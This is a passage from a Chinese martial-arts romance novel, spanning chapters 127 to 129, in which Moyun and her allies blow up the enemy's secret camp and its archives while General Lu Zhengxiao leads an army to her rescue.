茉云被逗笑了，脑中却陷入了沉思，自己一人之力终归有限，而这些日子自己思前想后，峑戎也正在新旧权利交汇之时，自己该如何筹谋，自己无法将他们团灭，唯一能做的便是拼尽一切，至少灭了暗营，为他们选得一个好的对手。
若是峑戎大皇子篡位成功，国师那便是完全操控了峑戎，国师阴险毒辣却心智无双，还手握这么多朝廷官员的把柄，大皇子更是极度穷兵黩武，残暴不仁之人，这两人的组合，日后他不知道用如何卑劣阴暗的手段对付卢正啸他们，而他们斗阴谋是斗不过的国师的，因为国师是疯的。
茉云伸手揉了揉脖子又想到，幽戎那家伙，显然也是个难以对付的对手，但是此人喜欢真刀真枪的干，这是卢正啸强项，茉云此时眼光落到那羊脂玉配上，若大老鹰搞不赢这条戈壁狼，那他就是白活了。
“姑姑，古语说，忠臣不事二主！”小腾瞬间又凑过来说道。
“我已经听到了！”
“我没说完啊，还有好女不侍二夫，与君共勉！”
茉云顷刻抬手就朝小腾头来了一下骂道：“侍什么？”
“有则改之无则加勉嘛！”小腾没好气的捂着头说道。
“小小年纪想些什么污糟呢？”
小腾指着玉佩非常不爽的说道：“这一看起来就是很贵的玉佩，别以为我不懂，我们村里送这么贵重的东西不是定亲就是定情信物！”
“这你也知道！”茉云倒是被逗笑了望向小腾。
“而且那幽戎叔叔跟你性子极为相像！他跟你站一起就像男土匪撞见了女强盗！”
“那卢正啸呢？他也是个戎马之人！”
“卢叔叔何其正直伟岸，他就像是说书先生说的那种，上天派来斩妖除魔拯救苍生的，二叔都说了卢叔叔每次看你的眼神，就好像是在说，我看你这个妖怪今日又要捣什么鬼！”
“扑哧”顿时茉云想着就笑得前俯后仰，可是心中却流淌过一丝连她自己都不知道为何的遗憾，也许是因为自己知道此行自己必须铲除暗营，并无一成把握能回南境了。
临走之时那个大雨夜，不知是因为雨，因为夜还是因为青岚的离去，她看谁的容颜都如此模糊，如果那是最后一面，记忆中都没有他最后一面清晰地样子……
可这惆怅的情绪并未围绕她多久，就被空中弥漫而来的交杂着肉脂焦香和孜然香料的烤羊肉味打断了，瞬间将她的魂都牵走了。
她马上带着小腾闻香而去，买下一段上好的羊排，当即她撕下一块递给小腾，外面的焦香和内里的嫩滑相得益彰，咬上一口，肉鲜嫩多汁，羊肉特有的滋味混杂着粗粒的盐、孜然、还有那炭火的焦香，瞬间让她感受到人间的满足和美好……
不禁抬眼望去，尽管周遭都是一望无际的荒凉，可这小镇的烟火气息却给人一种安宁与幸福，自己并是多悲天悯人，但是这一刻自己是真的希望，他们能
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摆脱国师那个疯魔之人，幽戎战败之后能带领他们回到故土，一方土养一方人，去觊觎人家的山清水秀，何不爱惜自己的家园壮美河山。
茉云喝了一口酒畅意的望向四野，又回忆起自己的家乡，不禁想起了自己家乡的人……
“姑姑，这样吃下去，怕是这些盘缠不够撑到他们回来吧？”小腾数着盘缠打断了茉云的思绪。
“去把那玉当了！”
小腾愣了一下望向茉云，即便他还小也知道那玉必是代表什么。
“只有活得太轻松的人，才会满脑子都是那些情情爱爱！我们这些人没有资格，他幽戎也没有！”茉云咬着羊排拎着酒壶，头也不回的走了。，
“嗯！”
夜幕低垂之时，南境的边关军营已然是一片寂静，只有偶尔传来的几声军旗布帛在风中震动的飒飒响声，正啸躺在踏上刚入眠不久，陡然被噩梦惊醒，睁开了双眼，噩梦中情景却历历在目，是一群毒蛇绕着树枝之上围攻雀巢里的云雀，她一脸机警扇着翅膀狠啄着袭来的对手，可就是不飞……
他翻身而起捂着头，营帐外传来了巡逻士兵缓步而行的脚步声才提醒他，不过又是噩梦罢了。这些日子寝食难安真是将自己折磨得够了，心中的疑惑和复杂的牵绊日日扰得他不得安宁，可即便如此，他也宁愿相信心中这只有一丝希望的假想，也不愿接受那个全边关大营都认定的事实。
他靠着床枕而坐，若是父帅知道定然勃然怒斥他的自欺欺人，那就深埋在心底吧，自己终归会去寻这个答案，可罗虎至今还没有探听到暗营位置。
这个时候忽然传来了马蹄疾驰的声音，他顷刻起来飞身就出了营帐，没多久果然是老雀骑着快马风尘仆仆而来，他在军营门口飞身下马，便瞧见了月光下正啸的身影。
“大将军！”
“随我进来！”正啸马上转身说道，军营的士兵马上让开了道，老雀随着正啸入了营帐。
“大将军，探子来报，幽戎带了一队人马忽然凭空出现，罗将军说他们出现之地附近可能就是暗营之所，您也知道现在峑戎朝政扑朔迷离！”老雀跪下行礼双手将罗虎的信呈上。
正啸即刻拿过了信，然后一手扶起了老雀，他都未来得及坐下就借着微弱的光看信，老雀马上上前把灯芯挑亮一点，这时执礼和谢青都是穿着一件披风罩着单衣进了营帐。
“请少主见谅……”
“此时不用多礼！”正啸马上说道，然后将看完的信递给了执礼，然后端起油灯走到了军事图前，老雀旋即上前帮忙拿着油灯，然后指向那片区域。
“绿洲山野？”谢青望向那个方向说道。
“在山里！”正啸顿时笃定的说道。
“大将军猜得没错，罗将军也说，愉极可是也是他们所造！”老雀点头应道。
“属下真是愚钝，怎么没事先想到此！”执礼恍然大悟说道。
“天亮之后，通知沧海将军、鹿里将军、威行将军、雄山参将整军，日上之时出发剿灭暗营。老雀，劳你尽快回营，通知罗虎将军率部与我在此处汇合！”正啸指着行军图威严的说。
“是！”众人立即行礼说道。
正啸目光坚定的望向营外天空破晓处，自己一定要去暗营找到该找的答案和该找的人，若她成魔，自己绝不会让她再做恶，若她没有……
127.赴死
天边刚露鱼肚白，整个军营战马嘶鸣声，盔甲碰撞声此起彼伏。正啸亦身披银白色的铠甲手握长剑，神情严峻而威严的立于营帐前，冷静的望向集结的大军。
天大亮之时军中亦集结完毕，只等他发号司令，此时元帅亦走了出来，看向南关战士，看见正啸手下将士如此精神抖擞的样子，心中倍感欣慰。
正啸目光扫射过整齐列队的将士们声如洪钟的说：“诸位将士，暗营作乱潜伏多年，浸染边疆残害黎民，阴谋陷害忠臣战友，天道昭彰，此刻我军出兵剿灭峑戎暗营，告慰忠臣义士和战友兄弟在天之灵的日子到了。”
沧海等将军立于队伍最前方，目光如炬的握紧了手中之剑，那些被暗营阴谋陷害的战友兄弟的血仇都历历在目。
正啸转身像元帅请令出兵，元帅巍然而立将令牌授予正啸。
“众将士随我，以铁血为戟，誓要破其诡计，斩其魁首，扫清暗营之恶。”正啸起身举起了令牌，顿时号角声骤然而起，战旗在风中猎猎生风。
“誓死追随将大军！”众将士齐声呐喊，声震苍穹响彻四野。
“传我军令，出发！”正啸一声令下，众将士铁甲铿锵，旷野似乎都弥漫着激荡的士气。
正啸带领将士直奔暗营而去，他的披风好似故意在风中狂舞，让所有人都能见到他们的将军，那如战神般的昂扬气度，每一个士兵都握紧了长矛和刀剑，眼中燃烧着不灭的斗志，气势如虹。
而在戈壁上的小镇上，茉云每日醉生梦死的喝酒吃肉，这日她坐在大婶门口的岩石上赏着晚霞，抬头往口中倒着酒，黄昏的余晖让 小镇集市上都忙忙碌碌收拾着摊位，夕阳的金色光芒洒在低矮的房屋上，天地间弥漫着静谧即将来临的气息。
忽然间，大波人马的马蹄声从远处传来，打破了这片安宁，一位身披战甲的将军策马而来，身子如此挺拔，甲胄上的血迹和沙尘都未能掩盖他那凌冽的英气，他拉紧了缰绳，烈马长啸一声，不紧不慢的停在了茉云的面前，把大婶惊得愣在原地。
幽戎端坐于马上望向茉云，一霎那间眼神从凌厉化为柔和，目光深深锁到了茉云脸上，仿佛人间在这一刻暂时停了下来，他嘴角上扬的笑了，坦率中带有愉悦和开怀。众人皆不自觉的望向此人，这便是幽戎将军，刚刚率部剿灭了戎都得叛军，就急急赶来寻找的人。
茉云抬目望向幽戎依旧满脸淡然，抬手便将将手中酒壶扔给了幽戎：“搞赢了！不错，酒赏你了！”
幽戎顷刻被逗笑了，豪爽的将酒壶中所剩不多的酒都倒入口中，望向茉云说道：“走吧，随我去抓了那畜生，告慰那些死在他手上的兄弟！”
茉云随意的扫了扫身上尘土起身说道：“咱可说好了，我这人睚眦必报，他给我下毒，回去了，我得让他把那些瓶瓶罐罐都吃了！”
“好！”幽戎嘴角上扬的说道，此时小腾跑出来的吃惊的望向幽戎，他居然这么快就回来了。
“走！”茉云顿时身轻如燕的飞身上马，小腾也没有迟疑的跑了过来，集益伸手让小腾上了自己马。
他们一路朝暗营奔腾而去，黄沙滚滚，茉云握紧了缰绳，这一刻终于来了，她等了这么久，所幸自己再无彷徨，哪怕点燃自己燃尽一切，自己也要彻底终结那暗营的黑暗。
一行人行至暗营后山哨岗之时，厄戎率部在暗营后山的哨所跪接王令，他接完王令起身，看着幽戎畅快而骄傲的笑了，厄戎欣慰伸手拍了拍幽戎肩膀，笑容中蕴含着一种深沉而不可替代的友谊，是这么多年并肩作战，共担风雨的深厚情感。
而对于幽戎说，厄戎亦是这么多年护着自己，暗营中唯一一个值得他敬重和信任之人。
茉云则在一旁风轻云淡的嚼着牛肉干，心中却有万分感叹，这两个家伙属实都是峑戎军中的中流砥柱，处置国师容易，可如何能在他两的眼皮底下毁了暗营和暗营中那些可以威胁朝臣的卷宗呢？
就在此时快马加鞭的王令到了，峑戎重城吉冉城的守城之将曾是大皇子挥下，因为失了大皇子讯息，大王招其回戎都，他居然抗命不从，二皇子怕他惶恐之际举兵造反，所以下命交由厄戎拿下暗营，幽戎则前往吉冉拿下吉冉守将。
“好，我知道了！”幽戎接令说道，茉云面无波澜可心中不禁感叹，二皇子果然是英名，也不枉我帮了你一把，知道投桃报李。
“去吧，暗营交给我。”
幽戎望向厄戎，心中还是有一丝担忧，他最终望向了茉云。
茉云却毫不迟疑的拉着缰绳，一副打算跟着幽戎去吉冉打战的样子：“我没打过战，跟你去见见世面！”
幽戎双眉微蹙，他知道吉冉之城若要拿下许有一番苦战，而茉云从没上过战场，自己大战之时不可能兼顾到她。
“把她留下帮我吧！”厄戎突然抬目望向幽戎说道，“这丫头都没上过战场！”
“厄戎大将军，你别看不起人啊，你去部落问问，我箭法简直是神乎其神！”茉云不爽的说，“你别看我柳条似的腰，胳膊也细，但我告诉你，你指哪儿我射哪，如果射不中，我跟你信厄！”
“战场不是打猎，初入战场，就去如此血战之地，任你如何能耐，都有可能有去无回！”厄戎看向茉云不容分说的说道。
“而且大将军不信厄，这是大王赐的封号！”集益望向茉云亦小声说道。
“幸亏，万一我得改名叫厄云，听起来饿晕饿晕，多不吉利，我梦想就是吃饱，结果饿晕！”茉云煞有其事的用他们的方言跟集益分析道。
幽戎顷刻又被逗笑了看向茉云：“集益，你跟茉云都留下来帮大将军。”
“是！”
茉云一脸的不爽白了幽戎一眼，心里却乐开了花。厄戎在一旁看向幽戎望向茉云的眼神若有所思。
“听说你把我玉当了。”
“那不是你留给我的盘缠吗？”茉云平常的反问道。
“那可是将军自小的贴身宝玉！”集益吃惊的望向茉云，语气中透出不满。
“兄弟，你不早说！”茉云顿时懊恼的看向集益，然后凑近小声说道，“你早说我就卖给长公主了，起码能卖十倍价！”
集益瞠目结舌的望向茉云，小腾只得捂着脸忍着笑，姑姑这炉火纯青的演技真是让人佩服。幽戎也听到了茉云的话语，他却丝毫不恼，自幼他便是这样的性子，容易得到的东西，他也只有那般喜欢……
而厄戎却双眉微蹙的深吸一口气，望向幽戎说道：“去吧，若能智取最好！”
“好！”幽戎飞身上马拉着缰绳之时看了集益一眼，集益点点头示意明白他的意思，而他策马而去之时最后一眼望向茉云，茉云却没有目送他，而是从兜里翻找着零嘴，幽戎最终快马一鞭疾驰而去。
茉云拿着杏脯塞到嘴里，心中却淡淡的说道，那就对不住了，幽戎。
他们转身和厄戎一起回了暗营，茉云走入暗营的那一刻便有一种预感，自己和厄戎都是强求自己留在暗营，两人必都是凶多吉少，只看他与自己谁在走之前能干成自己想干之事。
茉云看向旁边惊慌的小腾说道：“刀剑无眼，去躲到自己房里去，我没来别到处乱跑！”
“哦！”小腾转头跑回了山谷的小院。
厄戎带着人马直接攻入了总堂，一路上也没有费多少力气，茉云则随着厄戎直捣总堂，结果他们到达总堂之时，所有的机关却都没有启动，门也是大敞四开，茉云随着厄戎走到了国师的房间。
房门推开，一股苦涩刺鼻的药草
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气味扑面而来，茉云抬眼望去房间四周密不透风，将外界的光也完全隔离，昏黄的油灯散发着微光，仅能照见桌案上那些暗营情报和密谋卷宗。
一旁的药碗里还残留着半碗透着暗绿和阴森的药，房屋的最里，摆着一张俭朴的黑木床，暗灰色的窗幔低垂，床上躺着面容苍白如纸，奄奄一息的国师。
“来了。”国师缓缓抬目望向众人，仍是那般的从容不迫。
茉云不禁都觉得身后寒意刺骨，即便是垂暮之际，国师的眼神中还是透着阴鸷和扭曲。
“国师，大皇子谋朝篡位已经被大王压入大牢，听候处置，大王下令请国师回戎都。”
“好。”国师波澜不惊的伸出了瘦骨嶙峋的手，此时下人战战兢兢的端来了酒壶和酒杯，“大将军可愿意与我喝一杯。”
茉云微微皱眉，此人真是心思太过深沉而恐怖，顷刻间她都不知道这一场阴谋的真谛到底是为了大皇子篡位还是大皇子倒台了……
“国师身子不爽，从不喝酒。”
“对，我从来不能喝酒，可最后就想喝一杯。”
“国师还是养好身体为重，大王只说要国师返都城，却没有说要处置国师！”
国师笑了拿起了酒杯，厄戎却没有动，国师亦没有怪罪，准备自己一饮而尽。
“我是个好酒之人，可否陪国师喝这一杯？”茉云顷刻望向国师笑了说道。
国师眼中闪过了一丝赞赏，抬手做了个请的手势，茉云端起酒杯空中和国师对敬，然后一饮而尽。
“方茉云，你当真是个好对手！”国师望向茉云笑了，眼神顿时又闪烁出光芒，锐利如刀却又透出了遗憾，让人总是这般捉摸不透。
茉云则淡然的笑了说：“长公主为国师做过什么，可以让国师如此鞠躬尽瘁？”
“我身弱，不能习武，只喜看书，幼时学堂尚武，众人皆取笑于我，践踏我之书，我不服便将我按倒，拳脚相加，是长公主走过来，他们才停下来，长公主帮我捡起了书擦拭干净递给我，她笑了……那日长公主穿着一身烈焰般红色的衣裳……”国师说着好像那一日的情形又出现在他眼前一般。
茉云深吸一口气望向国师，他往日的阴鸷和狠毒顷刻间消失不见，取而代之的是言语都无法表达的深情和柔软，国师缓缓将手轻轻放在了心前，好似在触摸那颗冰冷的心保留的唯一一点温暖，就像这屋内微弱的烛光，却照耀了他一生，这一刻的他看起来如此脆弱，仿佛轻轻一碰便会破碎……
“酒，真是好啊。”国师顿时一口鲜血吐出，再也无法支撑，往床下倒去，厄戎最终还是上前一步扶住了国师。
国师用尽最后的力气握着厄戎的臂膀说道：“请大将军一定要记住我最后的嘱托……还请大将军将我最后一份折子呈给大王……以后……就……只能……有劳……诸君了……”
“国师！”
国师靠在大将军的肩上，垂下了自己的手，众人皆哀嚎跪下，只有茉云望向这恶魔，他终于结束了自己残忍的这一生，自己最后居然还给他了个机会回忆此生唯一的美好，她转身要离开……
“站住！”厄戎突然咬牙厉声说道。
茉云转身看着厄戎笑了说：“狡兔死，走狗烹，您这也太快了！”
厄戎将国师安稳的扶回床上，双眉紧皱叹息的说：“对不住了，我不得不杀你！”
“让我猜猜，国师对你最后的嘱托，便是杀我？”
“对！”
“不用我杀卢正啸了？”
“国师说遑论你是否能杀卢正啸，但你可轻易蛊惑幽戎，国师若死，幽戎便是峑戎唯一的希望，所以你必须死！”
茉云狠戾而锐利的笑了：“世人怎得都这般看得起我！”
128.守护
屋内烛光微弱灯影摇曳，却也看得清那双眼如刀锋般透出的决绝杀意。
厄戎的目光牢牢盯着茉云，神情中透出怀疑和矛盾，可他依旧将手握住了腰间佩剑，指节紧握得都有些泛白，他这一生视峑戎大业为信仰，视幽戎为如友如弟，故而他知道自己不该迟疑。
而茉云仍然面不改色，气度凛然的望向厄戎。
集益此时有些惊慌失措的说道“厄戎大将军，此事是否还是等幽戎将军回了暗营，再做处置？”
“将集益参将压去我院里的密室看守起来！”厄戎望向他的亲信吩咐道。
“是！”
“厄戎大将军……”集益还没来得及再行劝说，已被一拥而上的暗卫挟持走了。
厄戎恶狠的目光又回到了茉云的身上：“你是少吃些苦头，束手就擒，还是？”
“笑话！”茉云则大笑了起来，好似这是她听见的这世上最荒谬的笑话一般。
“你觉得以你能逃得出暗营？当日幽戎带一队人马冲出，那不过是兄弟们有心放他走！”厄戎抽出手中的长剑，剑锋泛着寒光，直指茉云。
茉云并未半分退缩，眼神冷冽如霜，猛然抽剑迎战，但她心里非常清楚，若是和他僵持下去最终败的定是自己。厄戎的长剑劈下，茉云故意连退几步，好似被这猛然一剑击得失去了平衡。
但是就在厄戎再度袭来之时，她却猛然抽身，霎那间，茉云剑锋急转，快如闪电，剑气击退了身边暗卫，转身飞身窜出国师的屋子，逃窜而去。
厄戎却没有抽剑追去，只是冷冷的望向茉云的逃离的背影，他刚刚在攻破总堂之时已然下令，将暗营暗卫全部调入营内，重开营内机关，再将四门封禁，暗营便又是个插翅难飞之地，她是决计逃不出的。可他不知道的是，茉云压根就没打算飞，她只是要去干他要干的事。
而此刻正啸带领的已达到绿洲附近，他下令鹿里正带队做前锋勘探入山之路，而罗虎带队在侧翼增援，全军在入绿洲之地待命。而且他此时再下了一道军令，那便是方茉云此人必须活捉。
连千山那漠无表情的脸都怔了半刻望向正啸，正啸却一脸严峻不容置疑立于众将前，众将马上抱拳领命。执礼和谢青互相看了一眼，亦没有再说什么。
鹿里和罗虎领军潜入了绿洲，前行还未一炷香的时间，就看见一人从绿洲山中驰马而出，未免是敌军发现他们行踪，虎翼营的箭手拉弓埋伏在了山中，敌人靠近之时，只听罗虎大喊一声：“住手，自己人！”
鹿里从暗处不顾一切的冲出，罗虎亦从山林飞身而出，往驰马之人跑去，那人胸前还抱着一孩子，马上之人是震北将军。
“震北将军！”
“震北哥！”
“你们为何在此？”震北看向罗虎和鹿里愣了半刻便问。
“随大将军来救你啊！”
“我有何可救的？正啸呢！快带我去见他！”
鹿里望向周遭发现并无追兵，便看向罗虎说：“是！那就有劳罗虎将军原地待命，我护送震北将军出绿洲。”
“好！”
正啸端坐于马上却见到远处一个熟悉的身影出现了，是震北策马而来，旁边是鹿里随行，震北的马上还坐着小腾。他立即骑马迎了上去，震北瞧见正啸之时，便也抱紧了小腾，快马一鞭飞奔而去。
“哥！”正啸飞身下马看着震北一身是伤，衣服上都透着斑斑血迹的样子，扶着他的肩膀喊道。
“正啸！”
小腾看见了正啸顿时喜笑颜开的大声喊道：“正啸叔叔！”
正啸抬手没有半分生份的摸了摸小腾的头，然后看向震北说道：“你为何在此？”
“这孩子趁乱把我放了出来！”
“方茉云呢？”
“正啸叔叔，姑姑说她要炸了暗营！”小腾顿时着急的望向正啸说道。
紧随而来的执礼和谢青都顿时怔了半刻互相看了一眼，好似还未缓过神。
正啸瞬间望向震北问道：“震北哥，你还能撑得住带将士进暗营，将其捣毁吗？”
“没问题，跟我来！”
正啸一把抱过小腾交给威行，命令威行护好他并和执礼等人带队殿后，然后没有丝毫迟疑带着沧海，雄山大队人马往绿洲深处疾驰而去。
他心中已经寻找到自己要找的答案，可是他来不及释怀半分就又被恐慌卷席，因为他要找的人顷刻间可能就灰飞烟灭了……
“执礼叔叔！”小腾满脸坦诚的望向他，从袖中拿出一个瓷瓶。
“什么？”
“这是毒戎的毒药，解药已经全部被那国师毁了，但是这里面有三颗毒药，姑姑说一定记得要交给你！”
执礼接过了瓷瓶，焦虑的神情瞬间变得温和，他笑着点点头，眼中却泛过一丝红光，手握紧瓷瓶，茉云说一定要交给自己，因为她知道对于自己来说，什么都没有少主的性命重要。
执礼和谢青都看向这药瓶，若无解药，将毒药交给白神医，他必然也能研制出解药……原来她知道是正啸吸走了她体内的毒掌之毒。
暗营里，茉云正穿着偷来的国师之斗篷，出现在军火库的门口，抬起袖子让人打开军火库的门，军火库的暗卫虽心里觉得奇怪，却也毕恭毕敬的打开军火库的大门，就在此时暗营中传令，国师已死，大王有令，暗营所有事务由厄戎大将军接手。
军火库的暗卫瞬间就转身拔刀瞪向了茉云，茉云却在原地未动，暗卫们拔刀而来，此时从天而降的四个穿着暗卫服饰之人，将一行人全部解决。
茉云摘下了斗篷的帽子畅快的笑了说道：“行啊，身手见长，当真威武！”
他们四个取下了面罩，原来是老马，小马，太易和石川，他们亦乐了望向茉云：“头！”
“来得正及时！”茉云笑了拍拍老马的肩膀，他们定是收到了自己飞鸽传书就不顾一切的赶来。
太易满脸的憨笑的说道：“我等接了小乞丐的信，便不吃不睡的赶来，还好来得及！”
“对，头，然后我们按照您说的，在峑戎自己攻暗营之时，趁乱进了这儿！”
茉云满脸赞许的指着他们说：“谁之前说你们靠不住来着，我严厉的斥责他！”
他们顿时都畅然大笑，还能有谁，素来最嫌弃他们的不就是茉云。
“好了，废话不多说了！”茉云马上拿出了图纸让他们进入军火库去拿火药，拿完火药便把这火药库炸了，暗营本已经人心浮动，火药库炸了之后暗营必将大乱，然后茉云让他们按照自己选好的地点在不同的位置点燃炸药，将卷宗室，制毒室全炸了，然后再到南门集合，将南门炸毁撤离。
临走之前，茉云看向老马说道：“记住，半个时辰，我若没到，你们先撤，我会想办法撤离的？”
“那我问你，你什么办法撤离？”顷刻间老马反问道。
“那我还想问，马婶现在还能受得了你这么啰嗦吗？我在这儿再跟你聊个一炷香呗？”茉云没好气的骂道。
众人都不禁忍俊不禁，茉云便是这般口气的人，他们其余三人立刻进入军火库搬军火，老马无奈的看向茉云说道：“你自己小心点！”
“放心！我还能罩不住我自己！”茉云转身便往暗营深处走去，她
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握紧了手中之剑，她要去拖住一个人，因为只有群龙无首的暗营，才可能让他们四个能顺利完成炸掉暗营的任务。
而且即便卷宗被烧，暗营被毁，国师已死，此处还有一个人是一个活卷宗，那便是厄戎。
厄戎坐在自己院落的石凳上，将一杯酒倒在了地上，他的院落在暗营角落的一处简陋的小院里，茉云直接闯入了院落，他抬目望向茉云的神情中分明有一丝诧异，但是转瞬即逝又恢复了坚毅，眉宇间也只剩下那股常年战场厮杀和暗营沉沦所锤炼出来的冷峻和复杂。
他抬手将酒坛抬起凑近杯沿，缓缓倒入，然后举起酒杯将酒倒入口中，双眉微蹙，仿佛在品味这烈酒的辛辣与苦涩，等他放下酒杯起身的瞬间，眼中那丝复杂而深邃荡然无存，只剩下狠戾的杀气。
“国师说，你如他一般疯癫，果然没错。你居然还敢找到我这儿来！”
茉云顷刻冷笑着看向厄戎：“我若杀了你，哪怕死在暗营，也算给自己报仇了，这辈子没白活！”
厄戎顿时仰天长笑看向茉云，他是峑戎的大将军，力拔山河武功亦是登峰造极之辈：“连卢正啸和他爹都没你这么大的口气，在暗营干掉我？看见了墙上这把剑吗？是卢正啸爷爷的剑！”
茉云握紧剑柄，眼露狠戾且疯癫的目光，心中却露出一丝无语，难怪厄戎这家伙会在这儿缅怀国师，这暗营怕是那国师少不了你，你也少不了国师，我当然知道自己肯定打不过你，可我不得不先牵制你，让暗营群龙无首，再想办法除了你，自古像厄戎这种狠角色，有谁又是挂在了真刀真枪上面？
厄戎顷刻拔剑而出，茉云自当迎击，两剑击撞之时，金铁交鸣的碰撞上顿时在院内回荡，火花四溅，厄戎的剑刚猛无比，茉云借力翻身灵巧的避开，转而借树枝反弹之力再度袭来，一时院内，剑影婆娑连绵不绝，两人的剑每一剑都是如此精准，狠辣且致命。
可就在此时，“轰”的一声，军火库爆炸了，巨大的火光冲天，顿时将厄戎惊得逼停了茉云的剑望向那冲天的浓烟，茉云却狠戾张狂的冷冷笑了。
“你这贱人！”厄戎顿时火冲头顶，带着更骇人的气势化剑而来，剑锋如旋风，每一剑都如奔雷泻下，茉云已感压力骤增，却没有一丝退缩，反而更加坚定接下这一剑，哪怕这一剑的剑气重创得茉云内力翻腾，差点一口鲜血喷出，可她知道他们四个正在暗营的慌乱中不顾一切的冲向目的地，她此时一步都不能退，不能让厄戎走。
她亦知道，这是生死一战，而自己根本不是厄戎的对手，所以她早也没有为自己留下生路，唯一的选择就是死战到底，同归于尽。她毫不怯懦的猛然一剑陡然变化，从正面进攻变为侧袭，剑锋避开厄戎之剑直逼他的腰侧。
厄戎本亦被暗营中的火光冲天所分心，猝不及防步伐稍乱。茉云抓住这个破绽，顿时一个迅速的翻身，剑芒如闪电般直指厄戎！然而，厄戎乃百战之人，他临危不乱霎那间骤然转身，惊险的躲开了致命一击。
“你果然不简单！”厄戎将神思完全收回，瞪向茉云说道，“但你本可炸掉出口，为何来此自寻死路！”
茉云一身凛然之气立于厄戎前，面不改色却双眼沉稳如深潭的笑了：“只有你们峑戎才有死士吗？”
厄戎咬牙瞪向茉云，她果然是不会投诚的，顷刻间明白这又是她的毒计：“可峑戎死士全家皆享其尊荣，若高山仰止，而你身败名裂你图什么？”
“心有川海，自越万山！”茉云坦然而灿烂的笑了，她这辈子何时在乎过别人的看法，不在意鄙夷，更不在意赞颂，她只干她想干的事，守护自己想守护的人。
129.来了
“好，我成全你！”厄戎冷笑一声，眼神顿如发起进攻的猛兽，剑芒随寒光划破长空而来。
茉云以意志强提内力，剑法亦如疾风骤雨，院中两人斗得不可开胶，可此时院外的异常，显然已经开始引起了厄戎的注意，他眉头紧皱，有些内心不安，开始分神不时往院外，顷刻间暗营的制毒室，“轰”的一声刹那化为平地。
茉云知道他们肯定已经各自达到了引爆火药的地点，她也暂时不需牵制厄戎了，就在厄戎焦急之时，茉云找到了机会，她一剑如疾风般的利剑袭来，厄戎不得已全力抵抗，而茉云迅速收剑后撤，脚步轻盈点地飞身而出，厄戎立即追去，暗营内部已经乱成一团，无数机关都被打开，一通乱射，而重伤在地的皆是暗营暗卫。
“关停所有机关，寻找入暗营的奸细！”厄戎顷刻下令吼道。
“是！”
而茉云此时如幽灵般在暗营中穿梭，没有片刻的停留，而厄戎忽然发现茉云闯入了卷宗室，顿知不好，不顾一切的飞身追去，他刚入卷宗室就闻见了浓浓的酒味，更知大事不好。还未等他准备撤出下令转移卷宗，却听得茉云大喊一声：“点啊！”
“轰”惊天的爆炸声，整个卷宗室都被漫天浓烟侵食，浓烟的中心燃起了熊熊的烈火，厄戎亦被炸飞的大石重创，幸亏他以宝剑护住了胸口抵挡住了飞石，他咬牙从密道中爬了起来，看见了火光中亦被重伤的茉云。
“我要将你碎尸万段！”厄戎顿时丢开断剑便愤然追去吼道。
茉云却转身如疯癫一般抱起事刚偷来的烈酒酒坛，一路往里逃窜，一路狂撒着烈酒，火势蔓延而去。
小马则一把拉着点火之后爬出来的石川吼道：“刚头是不是进去了？”
“什么？”石川亦大声吼道，他们的耳朵都震得听不清了。
“还在干什么？”老马赶到顿时吼道，“去炸南门，太易已经背着炸药过去了，走啊！”
小马若有所思的看着，心想自己是不是看错了，可是目前按照约定去炸掉南门是最重要，他们马上往南门撤去。
等他们一路赶到了南门的隐蔽处暗道，太易已经将炸药安置好了，老马看向天，这个时候离一个时辰的时间已经很近了。可是如何苦等茉云还是没来。
“我就说当时头是不是进了卷宗室。”小马一把拉着石川吼道。
“头让我炸的啊！”石川也吼道。
“现在怎么办，什么时候炸南门？”太易望向众人说道。
“头不来，我们不能炸！”老马笃定的张望而去。
“还炸什么南门，我们不如冲进去，拿这些炸药先炸了那群王八蛋，救出头来再说！”小马顿时飞身出了暗道，爬到了隐蔽的树上张望而去，看哪儿有茉云的踪影。
石川也马上飞身出了暗道说道“好，就这么定了！”
太易起身准备收拾炸弹引线，可突然小马大喊一声：“快点火！”
“什么？”
“太易，点引线！”
“头来了？”老马也飞身而出看着说道。
小马顿时激动得热泪盈眶的远瞰着喊道：“快点炸了南门，是卢大人来了！”
太易二话不说将引线点燃，他们四人马上飞窜离开，躲避入暗道，引线顺着暗道飞窜而去，“轰”的一声南门被炸开，正啸他们还在半里余外，马便被这轰天的爆炸声惊得乱窜，正啸一把拉住了缰绳稳住了马，抬手让大队先停。
“南门也被炸了？”震北吃惊的说道
“卢大人！”顿时他们四人窜出欣喜若狂的拼命的摇着手。
“小心！”正啸顿时吼道，他已经靠着射手听风之能，听到了拉弓的声音，马上下令道，“虎翼营射下暗营箭手！”
此时小马他们又马上跳入暗道隐蔽，罗虎带着骑射兵一拥而上，将门口的射手全部射下。
“众将听令，入暗营罗虎从中路，鹿里从左侧，雄山从右路，呈现包围之势，捣毁暗营。”顿时正啸带着大军冲入了暗营。
“是！”
而这一刻，茉云已经抵达了卷宗室的出口，不顾一切的撞开了大门，前后门皆通，霎时间山风贯穿，卷宗室的大火在风中狂窜，所有卷宗毁于一旦。
茉云飞身而出，厄戎亦在浓烟中逃出了卷宗室，愤怒得无以复加，他一掌而来便将茉云击倒跌入暗沟之中，他顿时捡起地上掉落的暗卫长刀，举过头顶，狠狠刺来。
茉云以无丝毫力气抵抗，但是她却轻松而淡然的笑了，因为她要干的已经干完了，厄戎失了密营，想必他的未来也是凶多吉少，自己唯一的遗憾便是没有将怀里的卷宗送出去，罢了，朝中奸佞他们有一日终将会除的。
就在厄戎大刀挥下瞬间，“哐”的一声，顿时一道有着雷霆万钧之力的剑飞来，直接将那大刀斩断，厄戎转头望了过去，错愕了半刻，而茉云亦愣住了，刚刚飞过的那把剑，自己如此熟悉……
厄戎咬牙转身逃去，而正啸飞身而来，立于茉云身前，他瞬间俯身一手便将茉云抱出，茉云还未晃过神，自己是在梦中吗？只能感受到他坚实的臂膀和他惊慌还未调匀的气息近在咫尺。
两人四目相触，正啸仓皇的眼神霎那间亦变成了无奈和忿然望向她，茉云原本冷峻决而绝的面容，瞧见了正啸这个熟悉的表情，还是拿自己这般无可奈何，她顿时不禁又欢畅的笑了。
手心传来的温度和这副嬉皮笑脸的容颜，终于让正啸这长久的噩梦醒了，可望向素来如钢筋铁骨般的她，此刻却伤得自己手都不敢用力握紧她，生怕她破碎……
而茉云晃过神之时，眼中依旧没有半分委屈和示弱，反而用最尽力气的指着厄戎逃窜的方向吼道：“抓厄戎！”
正啸霎时亦松开了手，将茉云推向了沧海身旁，头也不回的飞身而去。
“速速随大将军去抓厄戎，我在此守着！”沧海立刻像周遭将士下令说道。
众将士亦随着正啸飞奔而去，茉云完全屋里的靠着树支撑着。
